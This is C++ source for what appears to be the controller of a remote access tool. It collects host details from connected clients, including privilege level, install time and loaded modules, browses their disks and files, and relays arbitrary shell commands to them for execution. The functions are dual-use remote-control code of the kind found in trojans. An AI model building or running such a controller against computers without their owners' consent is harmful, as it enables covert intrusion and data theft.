BOOL Shell::RefershPartitions() { for (int i = 0; i < 26; i++) { m_partitions[i].bValid = FALSE; } CommData request; request.SetMsgID(MSGID_DISKS); CommData commData; if (! AskAndWaitForReply(request, commData)) { return FALSE; } DECLARE_STR_PARAM(result); TStringVector partitionVector; splitByChar(result.c_str(), partitionVector, ':'); BOOL bFoundOne = FALSE; TStringVector::iterator partitionIter = partitionVector.begin(); for (; partitionIter != partitionVector.end(); partitionIter++) { tstring& partitionStr = *partitionIter; TStringVector infoVector; splitByChar(partitionStr.c_str(), infoVector, '|'); if (infoVector.size() != 4) continue; //partition(str)|drivertype(uint)|totalbytes(uint64)|freebytes(uint64): if (infoVector[0].size() == 0) continue; TCHAR partition = infoVector[0][0]; int index = 0; if (partition >= 'a' && partition <= 'z') index = partition - 'a'; else if (partition >= 'A' && partition <= 'Z') index = partition - 'A'; else continue; if (1 != _stscanf_s(infoVector[1].c_str(), _T("%u"), &m_partitions[index].drivertype)) continue; if (1 != _stscanf_s(infoVector[2].c_str(), _T("%I64u"), &m_partitions[index].totalBytes)) continue; if (1 != _stscanf_s(infoVector[3].c_str(), _T("%I64u"), &m_partitions[index].freeBytes)) continue; m_partitions[index].curPath = ('A' + index); m_partitions[index].curPath += _T(":\\"); m_partitions[index].bValid = TRUE; bFoundOne = TRUE; } return bFoundOne; }
BOOL ClientInfoManager::ParseData( const CommData& commData, CLIENT_BASE_INFO& baseInfo ) const { DECLARE_STR_PARAM(cn); DECLARE_STR_PARAM(ip); DECLARE_STR_PARAM(groups); DECLARE_STR_PARAM(vercode); DECLARE_STR_PARAM(priv); DECLARE_UINT64_PARAM(lang); DECLARE_UINT64_PARAM(mem); DECLARE_UINT64_PARAM(instime); DECLARE_UINT64_PARAM(os); DECLARE_UINT64_PARAM(x64); DECLARE_UINT64_PARAM(proto); DECLARE_UINT64_PARAM(cpufrep); DECLARE_UINT64_PARAM(cpunum); tstring mods; commData.GetStrData(_T("mods"), mods); baseInfo.computerName = cn; splitByChar(ip.c_str(), baseInfo.localIPList, ','); baseInfo.installTime = instime; baseInfo.windowsVersion = (WIN_VER_DETAIL) os; baseInfo.bX64 = (BOOL)x64; baseInfo.mods = mods; baseInfo.commtype = (COMM_NAME)proto; baseInfo.cpufrep = cpufrep; baseInfo.cpunum = cpunum; baseInfo.memsize = mem; baseInfo.groups = groups; baseInfo.priv = priv; baseInfo.vercode = vercode; baseInfo.lang = TransferLanguage(lang); _time64(&baseInfo.reportTime); SOCKADDR_IN addr; if (CommManager::GetInstanceRef().GetLastConnectionAddr(commData.GetClientID(), addr)) { baseInfo.connectIP = addr.sin_addr.S_un.S_addr; } else { baseInfo.connectIP = 0; } baseInfo.bValid = TRUE; return TRUE; }
BOOL CommandManager::Execute( LPCTSTR cmdline, tstring& replyText ) { //分割并整理命令行的各个部分 TStringVector parts; splitByChar(cmdline, parts, ' '); TStringVector::iterator iter = parts.begin(); while (iter != parts.end()) { tstring& part = *iter; trim(part); if (part.size() == 0) { iter = parts.erase(iter); } else { iter++; } } //检查是否有可用的部分 if (parts.size() == 0) { replyText = _T("invalid command."); return FALSE; } //查找可用的命令 tstring& cmdname = parts[0]; makeLower(cmdname); CommandMap::iterator cmdIter = m_cmdMap.find(cmdname); if (cmdIter == m_cmdMap.end()) { replyText = _T("no such command."); return FALSE; } //执行命令 ICmd* pCmd = cmdIter->second; BOOL bExecuteOK = pCmd->Execute(parts, replyText, m_env); return bExecuteOK; }
void Shell::MakeAbsolutePath( LPCTSTR filepath, tstring& absoPath ) { TStringVector parts; splitByChar(filepath, parts, '\\'); std::list<tstring> dirStack; TStringVector::iterator iter = parts.begin(); for (; iter != parts.end(); iter++) { tstring& part = *iter; trim(part, ' '); if (part.size() == 0) { if (dirStack.size() > 0) { tstring partition = dirStack.front(); dirStack.clear(); dirStack.push_back(partition); } } else if (part == _T(".")) { continue; } else if (part == _T("..")) { if (dirStack.size() > 0) dirStack.pop_back(); } else { dirStack.push_back(part); } } tostringstream toss; std::list<tstring>::iterator stackIter = dirStack.begin(); for (; stackIter != dirStack.end(); stackIter++) { toss << stackIter->c_str() << '\\'; } absoPath = toss.str(); trim(absoPath, '\\'); }
BOOL Shell::ExecuteCommand( LPCTSTR cmdlinestr, tstring& reply ) { //分割并整理命令行的各个部分 tstring cmdline = cmdlinestr; trim(cmdline, ' '); trim(cmdline, '\n'); trim(cmdline, '\r'); TStringVector parts; splitByChar(cmdline.c_str(), parts, ' '); //清理无效参数 TStringVector::iterator iter = parts.begin(); while (iter != parts.end()) { tstring& part = *iter; trim(part); if (part.size() == 0) { iter = parts.erase(iter); } else { iter++; } } //检查是否有可用的部分 if (parts.size() == 0) { reply = _T(""); return TRUE; } //查找可用的命令 tstring& cmdname = parts[0]; makeLower(cmdname); if (cmdname == _T("dir")) { return Execute_Dir(parts, reply); } else if (cmdname == _T("cd")) { return Execute_Cd(parts, reply); } else if (cmdname == _T("disks")) { return Execute_Disks(parts, reply); } //将命令发到客户端去执行 CommData commandCommData; commandCommData.SetMsgID(MSGID_EXECUTE_CMDLINE); commandCommData.SetData(_T("cmdline"), cmdline.c_str()); CommData replyCommData; if (! AskAndWaitForReply(commandCommData, replyCommData)) { reply = _T("等待客户端回应超时"); return FALSE; } else { tstring result; replyCommData.GetStrData(_T("result"), result); if (result == _T("OK")) { reply = s2ws(std::string((LPCSTR)(LPBYTE)replyCommData.GetByteData(), replyCommData.GetByteData().Size())); return TRUE; } else { reply = result; return FALSE; } } }
BOOL Shell::Execute_Dir( const TStringVector& cmdparts, tstring& reply ) { tstring findstr = _T("*"); if (cmdparts.size() > 1) { findstr = cmdparts[1]; } findstr = m_currentPath + _T("\\") + findstr; MakeAbsolutePath(findstr.c_str(), findstr); if (findstr.find('*') == tstring::npos && findstr.find('?') == tstring::npos) { trim(findstr, '\\'); findstr += _T("\\*"); } CommData request; request.SetMsgID(MSGID_LIST_FILES); request.SetData(_T("findstr"), findstr.c_str()); CommData commData; if (! AskAndWaitForReply(request, commData)) { reply = _T("客户端响应超时"); return FALSE; } DECLARE_STR_PARAM(result); // result str 目录内容 filename(str)|attr(dword)|filesize(uint64)|lastWriteTime(uint64 filetime): tostringstream toss; TStringVector fileParts; splitByChar(result.c_str(), fileParts, ':'); TStringVector::iterator fileIter = fileParts.begin(); for (; fileIter != fileParts.end(); fileIter++) { tstring& fileInfo = *fileIter; TStringVector attrParts; splitByChar(fileInfo.c_str(), attrParts, '|'); if (attrParts.size() != 4) continue; tstring& filename = attrParts[0]; DWORD dwAttrs = 0; ULARGE_INTEGER filesize = {0}; ULARGE_INTEGER lastWriteTime = {0}; if (1 != _stscanf_s(attrParts[1].c_str(), _T("%u"), &dwAttrs)) continue; if (1 != _stscanf_s(attrParts[2].c_str(), _T("%I64u"), &filesize.QuadPart)) continue; if (1 != _stscanf_s(attrParts[3].c_str(), _T("%I64u"), &lastWriteTime.QuadPart)) continue; SYSTEMTIME systime; FILETIME ftLastWriteTime; ftLastWriteTime.dwLowDateTime = lastWriteTime.LowPart; ftLastWriteTime.dwHighDateTime = lastWriteTime.HighPart; FILETIME ftLocalLastWriteTime; FileTimeToLocalFileTime(&ftLastWriteTime, &ftLocalLastWriteTime); FileTimeToSystemTime(&ftLocalLastWriteTime, &systime); BOOL bDir = (dwAttrs & FILE_ATTRIBUTE_DIRECTORY); TCHAR line[MAX_PATH * 2] = {0}; _stprintf_s(line, _T("%04d/%02d/%02d %02d:%02d:%02d %20s %s\r\n"), systime.wYear, systime.wMonth, systime.wDay, systime.wHour, systime.wMinute, systime.wSecond, (bDir ? _T("<DIR> ") : FormatSizeWithUnit(filesize.QuadPart).c_str()), filename.c_str()); toss << line; } reply = toss.str(); return TRUE; }